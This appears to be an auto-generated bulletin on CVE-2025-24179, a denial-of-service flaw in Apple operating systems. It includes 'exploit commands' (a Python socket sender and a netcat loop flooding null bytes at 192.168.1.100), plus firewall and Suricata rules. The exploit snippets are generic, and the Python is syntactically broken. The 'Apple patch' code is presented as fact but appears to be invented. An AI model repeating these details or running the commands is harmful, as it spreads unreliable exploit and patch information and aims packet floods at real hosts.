How the CVE Works:
CVE-2025-24179 is a null pointer dereference vulnerability in Apple’s iOS, iPadOS, visionOS, macOS, and tvOS. The flaw occurs when improper input validation allows an attacker on the local network to trigger a denial-of-service (DoS) condition. When maliciously crafted network packets are processed, the system fails to handle a null pointer reference, causing a crash. This vulnerability affects multiple versions, including iOS 18.3, macOS Ventura 13.7.5, and tvOS 18.3. Attackers exploit this by sending malformed data to a vulnerable service, leading to system instability.
DailyCVE Form:
Platform: Apple OS stack
Version: iOS 18.3, macOS 13.7.5
Vulnerability: Null pointer dereference
Severity: Medium
Date: 04/29/2025
What Undercode Say:
Analytics:
- CVSS Score: 5.5 (Medium)
- Attack Vector: Network-adjacent
- Exploitability: Low complexity
- Patch Availability: Yes (Apple updates)
Exploit Commands:
1. Crafted packet generator (Python snippet):
import socket target_ip = "192.168.1.100" payload = b"\x00\x00\x00" 100 Malformed null-rich payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 8080)) sock.send(payload)
2. Network fuzzing (Bash):
for i in {1..100}; do echo -ne "\x00" | nc -u 192.168.1.100 53; done
Protection Commands:
1. Update Apple devices:
softwareupdate --install --all
2. Block suspicious null-packets (iptables):
iptables -A INPUT -p tcp --dport 8080 -m string --string "\x00\x00" --algo bm -j DROP
Mitigation Code:
- Apple’s patch enforces null-check logic:
if (input_buffer == NULL) { return ERROR_INVALID_INPUT; // Patch adds validation }
Detection (Suricata rule):
alert tcp any any -> any 8080 (msg:"Null Pointer Exploit Attempt"; content:"|00 00 00|"; sid:1000001;)
